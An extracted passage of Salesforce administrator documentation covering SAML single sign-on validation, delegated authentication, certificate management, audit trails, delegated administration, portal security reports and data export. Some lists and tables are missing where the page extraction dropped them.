Security and Sharing Validating SAML Settings for Single Sign-On
Format
The Format attribute of an <Issuer> statement must be set to
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" or not set at all.
For example:
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>
<saml:Issuer >https://www.salesforce.com</saml:Issuer>
Issuer
The issuer specified in an assertion must match the issuer specified in Salesforce.com.
Subject
The subject of the assertion must be resolved to be either the Salesforce.com username or the Federation ID of the user.
Audience
The <Audience> value is required and must be https://saml.salesforce.com.
Recipient
The recipient specified in an assertion must match the Salesforce.com login URL specified in the Salesforce.com
configuration. This is a required portion of the assertion and is always verified.
Signature
A valid signature must be included in the assertion. The signature must be created using the private key associated with
the certificate that was provided in the SAML configuration.
Recipient
Verifies that the recipient and organization ID received in the assertion matches the expected recipient and organization
ID, as specified in the single sign-on configuration. This is an optional portion of the assertion and is only verified if it's
present. For example:
• Not Provided
• Checked
• Site URL is invalid
564
Security and Sharing Reviewing the SAML Login History
When a user logs in to Salesforce.com from another application using single sign-on, SAML assertions are sent to the
Salesforce.com login page. The assertions are checked against assertions in the authentication certificate specified in Setup
➤ Security Controls ➤ Single Sign-On Settings. If a user fails to log in, a message is written to the login history log that
indicates why the login failed. In addition, the SAML Assertion Validator may be automatically populated with the invalid
assertion.
To view the login history, click Setup ➤ Users ➤ Login History. After viewing the login history you may want to share the
information with your identity provider.
The following are the possible failures:
Assertion Expired
An assertion's timestamp is more than five minutes old.
Note: Salesforce.com does make an allowance of three minutes for clock skew. This means, in practice, that an
assertion can be as much as eight minutes passed the timestamp time, or three minutes before it. This amount
of time may be less if the assertion's validity period is less than five minutes.
Assertion Invalid
An assertion is not valid. For example, the <Subject> element of an assertion might be missing.
Audience Invalid
The value specified in <Audience> must be https://saml.salesforce.com
565
Security and Sharing Best Practices for Implementing Single Sign-On
Issuer Mismatched
The issuer or entity ID specified in an assertion does not match the issuer specified in your Salesforce.com configuration.
Recipient Mismatched
The recipient specified in an assertion does not match the recipient specified in your Salesforce.com configuration.
Replay Detected
The same assertion ID was used more than once. Assertion IDs must be unique within an organization.
Signature Invalid
The signature in an assertion cannot be validated by the certificate in your Salesforce.com configuration.
• Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP
POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated
authentication is available in all Editions.
• Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password.
Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user.
You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization..
In addition, you can also configure SAML for use with portals as well as for Sites.
566
Security and Sharing Best Practices for Implementing Single Sign-On
Delegated Gateway URL in the Delegated authentication section at Setup ➤ Security Controls ➤ Single Sign-On
Settings in Salesforce.com.
• If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt
fails. An error is reported to the user indicating that his or her corporate authentication service is down.
• Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server
stub from the WSDL to ensure accuracy.
• For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a
trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com.
• The IP address that originated the login request is sourceIp. Use this information to restrict access based on the user’s
location. Note that the Salesforce.com feature that validates login IP ranges continues to be in effect for single sign-on
users. For more information, see Restricting Login IP Ranges on Profiles on page 474.
• You may need to map your organization’s internal usernames and Salesforce.com usernames. If your organization does not
follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include
the Salesforce.com username as an attribute of a user account. Your authentication service can then use this attribute to
map back to a user account.
• We recommend that you do not enable single sign-on for the system administrator’s profile. If your system administrators
are single sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce.com. System
administrators should always be able to log in to Salesforce.com so they can disable single sign-on in the event of a problem.
• We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before
implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com.
• Make sure to test your implementation with Salesforce.com clients such as Connect for Outlook, Connect for Office, and
Connect Offline. For more information, see Single Sign-On for Salesforce.com clients.
567
Security and Sharing Enabling Single Sign-On for Portals
See Also:
About Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide
Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
You can set up Customer Portals and partner portals to use SAML single sign-on, so that a customer only has to login once.
To enable single sign-on for portals:
568
Security and Sharing Enabling Single Sign-On for Sites
1. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must
supply your information provider with the Organization ID and the Portal ID. In the SAML assertion that is sent from
your identity provider, the portal_id and organization_id must be added as attributes.
a. Click Setup ➤ Company Profile ➤ Company Information and copy the ID located in the Salesforce.com
Organization ID.
b. For Customer Portals, click Setup ➤ Customize ➤ Customer Portal ➤ Settings, click the name of the Customer
Portal, and copy the ID located in the Portal ID.
For partner portals, click Setup ➤ Customize ➤ Partners ➤ Settings, click the name of the partner portal, and copy
the ID located in the salesforce.com Portal ID.
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Partner Portal Overview
Setting Up Your Customer Portal
Note: SAML for Sites is not available until after June 16th, 2010.
Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
You can set up Sites to use SAML single sign-on, so that a customer only has to login once.
To enable single sign-on for Sites using an identity provider:
• Organization ID
569
Security and Sharing Enabling Single Sign-On for Sites
• Portal ID
• Sites URL
The following must be added as attributes to the SAML assertion sent from your identity provider:
• organization_id
• portal_id
• siteurl
a. Click Setup ➤ Company Profile ➤ Company Information and copy the ID located in the Salesforce.com
Organization ID.
b. For the Customer Portal, click Setup ➤ Customize ➤ Customer Portal ➤ Settings, click the name of the Customer
Portal, and copy the ID located in the Portal ID.
For partner portals, click Setup ➤ Customize ➤ Partners ➤ Settings, click the name of the partner portal, and copy
the ID located in the salesforce.com Portal ID.
c. Click Setup ➤ Develop ➤ Sites, click the name of the Site, then copy the URL either located in the Default Web
Address, the Secure Web Address, or the Custom Web Address, depending on which one you want your users
to use when logging into Salesforce.com.
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Sites Overview
Partner Portal Overview
Setting Up Your Customer Portal
570
Security and Sharing Understanding Delegated Authentication Single Sign-On
Salesforce.com uses the following process for authenticating users using delegated authentication single sign-on:
1. When a user tries to log in—either online or using the API—Salesforce.com validates the username and checks the user’s
profile settings.
2. If the user’s profile has the Is Single Sign-On Enabled user permission, then Salesforce.com does not validate the
username and password. Instead, a Web services call is made to the user’s organization, asking it to validate the username
and password.
Note: System administrators should have single sign-on disabled. If your system administrators were single sign-on
users and your single sign-on server had an outage, the administrators would have no way to log in to Salesforce.com.
System administrators should always be able to log in to Salesforce.com so that they can disable single sign-on in
the event of a problem. All users, except those with the “System Administrator” profile, have delegated authentication
enabled by default in Professional Edition.
3. The Web services call passes the username, password, and sourceIp to your Web service. (sourceIp is the IP address
that originated the login request. You must create and deploy an implementation of the Web service that can be accessed
by salesforce.com servers.)
4. Your implementation of the Web service validates the passed information and returns either true or false.
5. If the response is true, then the login process continues, a new session is generated, and the user proceeds to the application.
If false is returned, then the user is informed that his or her username and password combination is invalid.
See Also:
Configuring Salesforce.com for Delegated Authentication
Example SAML Assertions
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide
571
Security and Sharing Understanding Delegated Authentication Single Sign-On
1. Contact salesforce.com to enable delegated authentication single sign-on for your organization.
2. Build your single sign-on Web service:
a. In Salesforce.com, download the Web Services Description Language (WSDL) file, AuthenticationService.wsdl,
by clicking Setup ➤ Develop ➤ API ➤ Download Delegated Authentication WSDL. The WSDL describes the
delegated authentication single sign-on service and can be used to automatically generate a server-side stub to which
you can add your specific implementation. For example, in the WSDL2Java tool from Apache Axis, you can use the
--server-side switch. In the wsdl.exe tool from .NET, you can use the /server switch.
For a sample request and response, see Sample SOAP Message for Delegated Authentication on page 556.
b. Add a link to your corporate intranet or other internally-accessible site that takes the authenticated user’s credentials
and passes them through an HTTP POST to the Salesforce.com login page.
Because Salesforce.com does not use the password field other than to pass it back to you, you do not need to send a
password in this field. Instead, you could pass another authentication token, such as a Kerberos Ticket so that your
actual corporate passwords are not passed to or from Salesforce.com.
You can configure the Salesforce.com delegated authentication authority to allow only tokens or to accept either tokens
or passwords. If the authority only accepts tokens, a Salesforce.com user cannot log in to Salesforce.com directly, because
they cannot create a valid token. However, many companies choose to allow both tokens and passwords. In this
environment, a user could still log in to Salesforce.com through the login page.
When the salesforce.com server passes these credentials back to you in the Authenticate message, verify them, and
the user will gain access to the application.
3. In Salesforce.com, specify your organization’s single sign-on gateway URL by clicking Setup ➤ Security Controls ➤
Single Sign-On Settings ➤ Edit. Enter the URL in the Delegated Gateway URL text box.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:
572
Security and Sharing About Salesforce.com Certificates and Keys
4. Modify your user profiles to enable the Is Single Sign-On Enabled user permission. In Salesforce.com, click Setup
➤ Manage Users ➤ Profiles to add or edit profiles.
Important: If single sign-on is enabled for your organization, API and desktop client users cannot log in to
Salesforce.com unless their IP address is included on your organization's list of trusted IP addresses or on their profile,
if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout
policies for users with the “Is Single Sign-On Enabled” permission. However, if the security token is enabled for your
organization, then your organization's login lockout settings determine the number of times a user can attempt to
log in with an invalid security token before being locked out of Salesforce.com. For more information, see Setting
Login Restrictions on page 472. For information on how to view login errors, see Viewing Single Sign-On Login
Errors on page 506.
See Also:
Understanding Delegated Authentication Single Sign-On
About Single Sign-On
Example SAML Assertions
KEY PAIRS
Salesforce.com certificates and key pairs encrypt sensitive data whenever Salesforce.com communicates with an external website.
You only need to generate a Salesforce.com certificate and key pair if you're working with an external website that wants
verification that a request is coming from a Salesforce.com organization.
Salesforce.com offers two types of certificates: self-signed and CA-signed.
Self-signed
A self-signed certificate is signed by Salesforce.com. Not all external websites accept self-signed certificates.
CA-signed
A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed
certificates. You have to first generate the certificate signing request to send to a CA, and then import the signed version
of the certificate before you can use that certificate.
573
Security and Sharing Creating Salesforce.com Certificates and Key Pairs
To work with Salesforce.com certificates and keys, click Setup ➤ Security Controls ➤ Certificate and Key Pair Management.
From the Certificate and Key Management page, you can:
• View the number of your certificates. You can have a maximum of 50 certificates.
Note: Client authentication certificates should only be used with workflow outbound messaging. Generally, use
Salesforce.com certificates and keys for all your certificates.
See Also:
Creating Salesforce.com Certificates and Key Pairs
Editing Salesforce.com Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
CA-signed
A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed
certificates. You have to first generate the certificate signing request to send to a CA, and then import the signed version
of the certificate before you can use that certificate.
574
Security and Sharing Creating Salesforce.com Certificates and Key Pairs
1. Decide which type of certificate to create based on whether your external website accepts self-signed certificates, or if it
requires CA-signed. You can't change the type of a certificate after you've created it.
2. Click Setup ➤ Security Controls ➤ Certificate and Key Management, then click either Create Self-Signed Certificate
or Create CA-Signed Certificate. This selects the type of certificate, and cannot be changed later.
3. Enter a descriptive label for the Salesforce.com certificate. This name is used primarily by administrators when viewing
certificates.
4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique
Name when referring to the certificate using the Force.com Web services API or Apex.
5. Select a Key Size for your generated certificate and keys. Selecting 2048 (the default) generates a certificate using 2048-bit
keys and is valid for two years. Selecting 1024 generates a certificate using 1024-bit keys and is valid for one year.
Salesforce.com recommends that you specify 2048 for security reasons.
Note: Once you save a Salesforce.com certificate, you can't change the key size.
6. If you're creating a CA-signed certificate, you must also enter the following information. These fields are joined together
to generate a unique certificate.
Field Description
Common Name The fully qualified domain name of the company requesting
the signed certificate. This is generally of the form:
http://www.mycompany.com.
7. Click Save.
After you successfully save a Salesforce.com certificate, the certificate and corresponding keys are automatically generated.
You can have a maximum of 50 certificates.
575
Security and Sharing Uploading Certificate Authority (CA)-Signed Certificates
After you create a CA-signed certificate, you must upload the signed certificate before you can use it.
See Also:
About Salesforce.com Certificates and Keys
Editing Salesforce.com Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
After you create a CA-signed certificate , you must do the following before the certificate is active and you can use the certificate.
Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.
1. Click Setup ➤ Security Controls ➤ Certificate and Key Management, click the name of the certificate, then click
Download Certificate Signing Request.
2. Send the certificate request to the certificate authority of your choice.
3. After the certificate authority sends back the signed certificate, click Setup ➤ Security Controls ➤ Certificate and Key
Management, click the name of the certificate, then click Upload Signed Certificate.
4. Click Browse to locate the CA-signed certificate. The CA-signed certificate must match the certificate created in
Salesforce.com. If you try to upload a different CA-signed certificate, the upload fails.
5. Click Save to finish the upload process. Click Cancel at any time to not upload the certificate.
After you successfully upload the signed certificate, the status of the certificate is changed to Active and you can use CA-signed
certificate.
See Also:
About Salesforce.com Certificates and Keys
Creating Salesforce.com Certificates and Key Pairs
Viewing Salesforce.com Certificates and Key Pairs
576
Security and Sharing Viewing Salesforce.com Certificates and Key Pairs
To view the details of a Salesforce.com certificate, click Setup ➤ Security Controls ➤ Certificate and Key Management,
then click the name of a certificate.
From the certificate detail page, you can do any of the following:
• Click Download Certificate to download the full Base-64 encoded certificate. This is only available for active certificates.
For CA-signed certificates, you must first upload the signed certificate before you can download or use it.
• Click Download Certificate Signing Request for CA-signed certificates that have not yet had the signed certificate
uploaded.
• Click Upload Signed Certificate to upload the CA-signed certificate.
See Also:
About Salesforce.com Certificates and Keys
Creating Salesforce.com Certificates and Key Pairs
Editing Salesforce.com Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
After you create a Salesforce.com certificate, you can only change the Label and the Unique Name. You can't change the
type, key size, and so on. The certificate and the keys aren't regenerated when you edit a Salesforce.com certificate.
577
Security and Sharing Monitoring Setup Changes
Caution: Apex and the API use the Unique Name to access the certificate. Changing the Unique Name could cause
your code to break.
To edit a Salesforce.com certificate, click Setup ➤ Security Controls ➤ Certificate and Key Management, then click Edit
next to the name of an existing Salesforce.com certificate.
After you make changes to the names of a Salesforce.com certificate, click Save.
See Also:
About Salesforce.com Certificates and Keys
Creating Salesforce.com Certificates and Key Pairs
Viewing Salesforce.com Certificates and Key Pairs
The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your
organization. This can be especially useful in organizations with multiple administrators.
To view the setup audit trail history, click Setup ➤ Security Controls ➤ View Setup Audit Trail. To download your
organization’s full setup history for the past 180 days, click the Download link.
The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the
change, who made it, and what the change was.
The setup audit trail history tracks the following types of changes:
578
Security and Sharing Monitoring Setup Changes
Customization • Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the
related list hover links
• Page layout and search layout changes
• Changes made using inline editing
• Custom field and field-level security changes, including changes to formulas, picklist values, and
custom field attributes like the format of auto-number fields or masking of encrypted fields
• Changes to lead settings, lead assignment rules, and lead queues
• Changes to activity settings
• Changes to support settings, business hours, case assignment and escalation rules, and case queues
• Any changes made by salesforce.com Customer Support at your request
• Changes to tab names, including tabs that you reset to the original tab name
• Changes to custom apps, custom objects, and custom tabs
• Changes to contract settings
• Changes to forecast settings
• Enabling or disabling Email-to-Case or On-Demand Email-to-Case
• Changes to custom buttons, links, and s-controls, including standard button overrides
• Enabling or disabling drag-and-drop scheduling
• Enabling, disabling, or customizing similar opportunities
• Enabling or disabling quotes
• Changes to data category groups, data categories, and category-group assignments to objects
• Changes to article types
• Changes to category groups and categories
• Changes to Salesforce Knowledge settings
• Changes to ideas settings
• Changes to answers settings
• Changes to field tracking in feeds
• Changes to campaign influence settings
• Activating or deactivating critical updates
• Enabling or disabling Salesforce Chatter email notifications
Security and • Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access
Sharing Using Hierarchies option
• Password policy changes
• Session settings changes, such as changing the session timeout setting
• Changes to delegated administration groups and the items delegated administrators can manage.
Setup changes made by delegated administrators are tracked as well.
• How many records a user emptied from their Recycle Bin and from the organization's Recycle Bin
• Changes to SAML (Security Assertion Markup Language) configuration settings
• Changes to Salesforce.com certificates
579
Security and Sharing Monitoring Setup Changes
Using the • Changes to account team and opportunity team selling settings
application • Activation of Google Apps services
• Changes to mobile configuration settings, including data sets, mobile views, and excluded fields
• A user with the “Manage Partners” permission logging into the partner portal as a partner user
• A user with the “Edit Self-Service Users” permission logging into the Salesforce.com Customer
Portal as a Customer Portal user
• Enabling or disabling a partner portal account
• Disabling a Salesforce.com Customer Portal account
• Enabling or disabling a Salesforce.com Customer Portal and creating multiple Customer Portals
• Creating and changing entitlement processes and entitlement templates
• Enabling or disabling self-registration for a Salesforce.com Customer Portal
• Enabling or disabling Customer Portal or partner portal users
580
Security and Sharing Delegating Administrative Duties
Use delegated administration to assign limited administrative privileges to selected non-administrator users in your organization.
Delegated administrators can perform the following tasks:
• Creating and editing users and resetting passwords for users in specified roles and all subordinate roles, including setting
quotas, creating default sales teams, and creating personal groups for those users
• Assigning users to specified profiles
• Logging in as a user who has granted login access to their administrator
• Managing custom objects created by an administrator
For example, you may want to allow the manager of the Customer Support team to create and edit users in the Support
Manager role and all subordinate roles. This allows the administrator to focus on tasks other than managing users for every
department that uses Salesforce.com.
To create delegated groups, click Setup ➤ Security Controls ➤ Delegated Administration, then click New.
To manage your delegated groups:
Note: To delegate administration of particular objects, use object permissions, such as “View All” and “Modify All.”
See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Custom Object Administration
581
Security and Sharing Delegating Administrative Duties
Define delegated administration groups to specify groups of users who you want to have the same administrative privileges.
These groups are not related to public groups used for sharing.
See Also:
Delegating Administrative Duties
582
Security and Sharing Delegating Administrative Duties
Enable delegated administrators to manage users in specified roles and all subordinate roles, assign specified profiles to those
users, and log in as users who have granted login access to administrators.
8. Click Save.
9. See Delegating Custom Object Administration on page 584 to specify what custom objects the delegated administrators
can manage.
To remove roles or profiles from the list of items the delegated administrators can use, click Remove next to the role or profile.
See Also:
Defining Delegated Administrators
Delegating Administrative Duties
583
Security and Sharing Delegating Administrative Duties
Enable delegated administrators to manage custom objects that have been created by an administrator.
To remove a custom object from the list of items the delegated administrators can manage, click Remove next to the custom
object.
See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Administrative Duties
To ensure that resources are available for all Salesforce.com users, limits are placed on the number of long-running Web
requests that one organization can send at the same time. This kind of limit is called a maximum concurrent Web requests limit.
Salesforce.com monitors the number of concurrent requests issued by all users logged in to your organization, and compares
584
Security and Sharing Enabling the Account Owner Report
that number against the maximum limit. In this way, salesforce.com keeps the number of concurrent requests below the
maximum limit. The limit ensures that resources are available uniformly to all organizations and prevents deliberate or accidental
over-consumption by any one organization.
If too many requests are issued by users in your organization, you may have to wait until one of them has finished before you
can perform your task. For example, assume that MyCorporation has 100,000 users. At 9:00 AM, each user requests a report
that contains 200,000 records. Salesforce.com starts to run the report for all users until the maximum number of concurrent
requests has been met. At that point, Salesforce.com refuses to take any additional requests until some of the reports have
completed.
Similar limits are placed on requests issued from the Force.com Web services API. For more information, see Force.com API
Usage Limits on page 1659.
Organizations that have their organization-wide sharing access level set to Private for accounts may want to restrict users from
running the Account Owner report, which lists all accounts and who owns them.
To show or hide this report:
For security reasons, your organization may want to prohibit users from uploading HTML files. The Disallow HTML
documents and attachments security setting, if enabled, blocks users from uploading any file to the Documents tab or
as an attachment to a record if it has one of the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml,
acgi.
585
Security and Sharing Configuring Remote Settings
Note: HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In
addition, this setting does not affect attachments on email templates; HTML attachments on email templates are
always permitted.
After this setting is enabled, previously-uploaded HTML documents and attachments are unaffected. However, when
users attempt to view an HTML attachment or document, their browser first prompts them to open the file in the
browser, save it to their computer, or cancel the action.
Caution: Do not enable this setting if your organization uses the partner portal to give your partner users access to
Salesforce.com.
See Also:
Adding Attachments
Uploading and Replacing Documents
Before any Visualforce page, Apex callout, or JavaScript code using XmlHttpRequest in an s-control or custom button can
call an external site, that site must be registered in the Remote Site Settings page, or the call will fail.
To access the page, click Setup ➤ Security Controls ➤ Remote Site Settings. This page displays a list of any remote sites
already registered and provides additional information about each site, including remote site name and URL.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:
586
Security and Sharing Portal Health Check Overview
4. To allow access to the remote site regardless of whether the user's connection is over HTTP or HTTPS, select the Disable
Protocol Security checkbox. When selected, Salesforce.com can pass data from an HTTPS session to an HTTP
session, and vice versa. Only select this checkbox if you understand the security implications.
5. Optionally, enter a description of the site.
6. Click Save to finish, or click Save & New to save your work and begin registering an additional site.
Customer Portals and partner portals let you collaborate with and provide services to your customers and partners. With
portals, you share and capture information from third-party users. To ensure that you don't expose more information than
intended, it's important to follow best practices for portal implementation.
Your customers and partners can access your information via portals in many ways. With portal health check reports, you can
easily monitor this access. Portal health check reports show your security-related portal settings and provide information you
can use to improve portal security.
Note: Currently, portal health check reports show sensitive administrative and user permissions, object permissions,
field-level security, organization-wide default settings, and custom sharing rules. Your portal users can access records
via other means, including manual sharing, Apex managed sharing, territories, list views, groups, queues, teams, content
workspaces, and folders.
To view portal health check reports, click Setup ➤ Security Controls ➤ Portal Health Check, then click the report you
want.
The following reports are included:
Note: The portal health check reports don't include information for High Volume Customer Portal users, Authenticated
Website User users, or Self-Service portal users.
587
Security and Sharing Portal Health Check Overview
Profile permissions are powerful, as they expand users' access to data. It's important to use caution when setting permissions
for a profile.
The Administrative and User Permissions report—one of the portal health check reports—shows portal profiles and their
critical permission settings. For each profile, the report lists the number of portal users assigned to it, and the following
permission settings:
Note: Depending on your organization's settings, some permissions may not appear in the report.
From the report, you can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users
assigned to a profile.
To view this report:
588
Security and Sharing Portal Health Check Overview
See Also:
Securing Data Access
Object permissions specify the access that users have to standard and custom objects. The following object permissions respect
the sharing model:
Field-level security specifies the access that users have to specific fields in object records.
The Object Access and Field-Level Security report—one of the portal health check reports—shows the number of portal
profiles that can access each standard and custom object in your organization. You can view each object's field-level security
settings and permissions. The object-specific reports list portal profiles, showing the number of users assigned to each profile,
the number of visible fields in an object, and the object permissions. You can drill down to portal profile detail pages, where
you can edit or clone a profile, or view the users assigned to a profile. You can also drill down to field-level security detail
pages, where you can edit the settings.
To view this report:
589
Security and Sharing Portal Health Check Overview
• To show a filtered list of items, select a predefined view from the drop-down list.
• To return to the list of reports, click Back to list: Portal Health Check Reports.
See Also:
Securing Data Access
Organization-wide default settings specify each object's default access level for users in your organization. If an object's default
access level is Public, users with enabled object permissions (“Read,” “Create,” “Edit,” or “Delete”) may be able to access records
that they don't own. For example, if the default access setting for the account object is Public Read/Write, then any user with
the “Read” permission on the account object can view any account record. When setting organization-wide defaults, you want
to make sure you don't let portal users see objects they shouldn't access.
The Sharing Organization-Wide Defaults report—one of the portal health check reports—lists standard and custom objects
and the default access setting for each object. You can use this report to review and edit the organization-wide default settings
that may expose records to portal users.
To view this report:
590
Security and Sharing Portal Health Check Overview
If the Grant Access Using Hierarchies box is checked, any user above a record owner in a territory or role hierarchy can
access the owner's records for that object.
• To change the organization-wide sharing settings for any object, click Edit, then change the settings on the
Organization-Wide Sharing Defaults Edit page.
• To show a filtered list of items, select a predefined view from the drop-down list.
• To return to the list of reports, click Back to list: Portal Health Check Reports.
See Also:
Securing Data Access
Managing the Sharing Settings
Administrators can use sharing rules to give sets of users access to records they don't own. In a sharing rule, records owned
by a set of users (such as a group, role, or territory) are shared with another set of users. When creating sharing rules, you want
to make sure you don't let portal users see records they shouldn't access.
591
Security and Sharing Portal Health Check Overview
The Sharing Rules report—one of the portal health check reports—lists all sharing rules that give portal users access to records
they don't own. It shows the number of portal users who may get access to records as a result of each sharing rule, and lets
you edit access levels for each rule. For some types of user sets (like groups, roles, and territories), you can drill down to detail
pages, where you can edit, delete, or manage the users in the set.
To view this report:
• To change the access level in a sharing rule, click Edit, then change the settings on the sharing rule edit page.
• To view the details of a user set in a sharing rule, click the link in the Owned By or Shared With column.
• To show a filtered list of items, select a predefined view from the drop-down list.
• To return to the list of reports, click Back to list: Portal Health Check Reports.
Note: Account and account territory sharing rules can grant access to contacts, opportunities, and cases associated
with the shared accounts. The Sharing Rules report shows access levels only for top-level objects, not associated objects.
See Also:
Securing Data Access
592
Data Management Exporting Backup Data
DATA MANAGEMENT
Your organization can sign up to receive backup files of your data. You can export all of your organization's data into a set of
CSV (comma-separated values) files. To sign up for the Data Export Service, contact salesforce.com.
Note: If you give a user the “Weekly Data Export” permission, which is needed to export data, he or she has view
access to all data that is exported, and can see all custom objects and fields in the Weekly Export Service page. This
permission is granted by default only to the System Administrator profile because of the wide visibility it enables.
If your organization is configured for data export, you can generate backup files manually once every six days or schedule them
to generate automatically at weekly or monthly intervals.
1. Click Setup ➤ Data Management ➤ Data Export and Export Now or Schedule Export. The Export Now option
prepares your files for export immediately. This option is only available if a week has passed since your last export. The
Schedule Export option allows you to schedule the export process for weekly or monthly intervals.
2. Select the desired encoding for your export file.
3. Select Include attachments... if you want your export data to include attachments.
4. Select Replace carriage returns with spaces if you want your export files to have spaces instead of carriage
returns or line breaks. This may be useful if you plan to use your export files for importing or other integrations.
5. If you are scheduling your export, select the frequency, start and end dates, and time of day for your scheduled export.
6. Select the types of data to include in your export. If desired, you can include all data in your export file. We recommend
that you include all data if you are not familiar with the terminology used for some of the types of data. Note the following:
• Formula and roll-up summary fields are always excluded from exports.
• Articles are excluded from exports.
• If your organization uses divisions, data from all divisions is included in the export.
• If your organization uses person accounts and you are exporting accounts, all account fields are included in the account
data. For more information on account fields, see Account Fields on page 67.
• If your organization uses person accounts and you are exporting contacts, person account records are included in the
contact data. However, the contact data only includes the fields shared by contacts and person accounts.
7. If you are running the export now, click Start Export. If you scheduled the export, click Save.
593
Data Management Exporting Backup Data
Salesforce.com creates a zip archive of CSV files and emails you when it's ready. Exports typically finish within 48 hours
of submission. Follow the link in the email or click Data Export to download the zip file. Zip files are deleted 48 hours
after the email is sent.
Note: For security purposes, Salesforce.com may require users to pass a user verification test to export data from
their organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's
data.
To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click
the Submit button. Note that the words entered into the text box field must be separated by a space.
Salesforce.com uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an
automated program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for
“Completely Automated Public Turing Test To Tell Computers and Humans Apart”.
Tip: Any automated processes that process the export files should rely on the column headings in the CSV files, rather
than the position of the columns.
Depending on the encoding selected, you may have to make adjustments to the export file before viewing it. Use the following
instructions that apply to the character encoding you selected.
594
Data Management Monitoring Resources
Monitoring Resources
Available in: All Editions
Storage is divided into two categories: data storage and file storage. File storage includes files in attachments, the Documents
tab, the File field, Salesforce CRM Content, and Salesforce Chatter, including user photos. Data storage includes the following:
• Accounts
• Article types (format: “[Article Type Name] Version”)
• Campaigns
• Campaign Members
• Cases
• Case Teams
• Contacts
• Contracts
• Custom objects
• Email messages
• Events
• Forecast items
• Google docs
• Ideas
• Leads
• Notes
• Opportunities
• Quotes
• Salesforce Chatter: Feed posts and tracked changes
• Solutions
595
Data Management Monitoring Resources
Data storage and file storage are calculated asynchronously, so if you import or add a large number of records or files, your
organization’s storage usage will not be updated immediately.
Storage Capacity
Each Edition includes a minimum amount of data storage and file storage. Professional, Enterprise, and Unlimited Editions
receive a per-user storage amount multiplied by the number of users in the organization if the result is greater than the minimum
storage amount. Using data storage as an example, an Enterprise Edition organization with 600 users would receive 12,000
MB (12 GB) of data storage, because 20 MB per user multiplied by 600 users is 12,000 MB. A smaller organization, for
example a Professional Edition organization with 20 users, would receive 1 GB of data storage because 20 MB per user
multiplied by 20 users is only 400 MB, which is less than the 1 GB minimum allotted to all Professional Edition organizations.
The values in the Storage Allocation Per User License column below apply to Salesforce and Salesforce Platform user licenses.
The Salesforce Platform Light user license provides 1 MB of data storage and 1 MB of file storage.
Note: The only feature license that provides additional storage is Salesforce CRM Content User; each Salesforce
CRM Content User license provides an additional 512 MB of file storage. To find out if your organization has
Salesforce CRM Content enabled, contact your administrator.
Salesforce.com Edition Data Storage Minimum per File Storage Minimum per Storage Allocation Per User
Organization Organization License
Personal 20 MB (approximately 10,000 20 MB N/A
records)
Contact Manager 1 GB 1 GB N/A
Group 1 GB 1 GB N/A
Professional 1 GB 1 GB 20 MB of data storage and
100 MB of file storage
Enterprise 1 GB, plus 2 MB for each 1 GB 20 MB of data storage and
Silver Partner license and 5 100 MB of file storage
MB for each Gold Partner
license
Unlimited 1 GB, plus 2 MB for each 1 GB 120 MB of data storage and
Silver Partner license and 5 100 MB of file storage
MB for each Gold Partner
license
Developer 5 MB 20 MB N/A
If your organization uses custom user licenses, contact salesforce.com to determine if these licenses provide additional storage.
For a description of user licenses, see Viewing User License Types on page 506.
596
Data Management Monitoring Resources
In all Editions except Personal Edition, administrators can view storage usage on a user-by-user basis:
1. Click Setup ➤ Manage Users ➤ Users.
2. Click the name of any user.
